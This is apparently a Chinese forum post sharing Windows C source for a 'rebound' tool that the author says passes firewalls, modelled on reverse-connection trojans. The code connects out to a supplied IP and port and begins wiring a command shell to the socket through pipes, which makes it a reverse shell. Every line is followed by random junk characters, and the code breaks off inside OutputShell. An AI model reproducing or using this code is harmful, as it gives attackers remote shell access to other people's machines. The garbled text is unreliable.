这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $idYG<],
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/* ============================== Oh|Hy/&6W
Rebound port in Windows NT j/9'L^]
By wind,2006/7 a.q=
===============================*/ SL*B `P~{
#include #"TTI
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#include lc*<UZR
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#pragma comment(lib,"wsock32.lib") P2lj#aQLS
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void OutputShell(); wp} PQw:
SOCKET sClient; rHP5;j<]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -{ZRk[>Z
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void main(int argc,char **argv) (pAGS{{
{ lwa
WSADATA stWsaData; ]/U)<{6
int nRet; :V8 \^
SOCKADDR_IN stSaiClient,stSaiServer; Ix}:!L
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if(argc != 3) ab6KK$s
{ r=u>TA$
printf("Useage:\n\rRebound DestIP DestPort\n"); OJ&~uV >2
return; ]mYY1%H8M
} 'H97D-86/
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WSAStartup(MAKEWORD(2,2),&stWsaData); o@"H3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X+iUT
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stSaiClient.sin_family = AF_INET; z`'{l{
stSaiClient.sin_port = htons(0); @'dtlY5;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I>:M1Yc0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WOquG
{ RHeql*`
printf("Bind Socket Failed!\n"); $O=m/l$
return; .h{`e>d
} B!6?+<J"
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stSaiServer.sin_family = AF_INET; G9d@vu
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E7ixl~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U }xRvNz
tvavI9
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wU+-;C5e
{ -FdhV%5]
printf("Connect Error!"); Eqnc("m)
return; RP!X5
} %i$]S`A}
OutputShell(); F~4oPB K<
} BlMc<k
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void OutputShell() S }mqK|!
{ {|a=
char szBuff[1024]; g"^<LX-
SECURITY_ATTRIBUTES stSecurityAttributes; 6Xbo:#
OSVERSIONINFO stOsversionInfo; $SA8$!:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {p-&8-
STARTUPINFO stStartupInfo; ^pIT,|myY7
char *szShell; 7ZqC1
PROCESS_INFORMATION stProcessInformation; w7s+6,
unsigned long lBytesRead; xmsw'\
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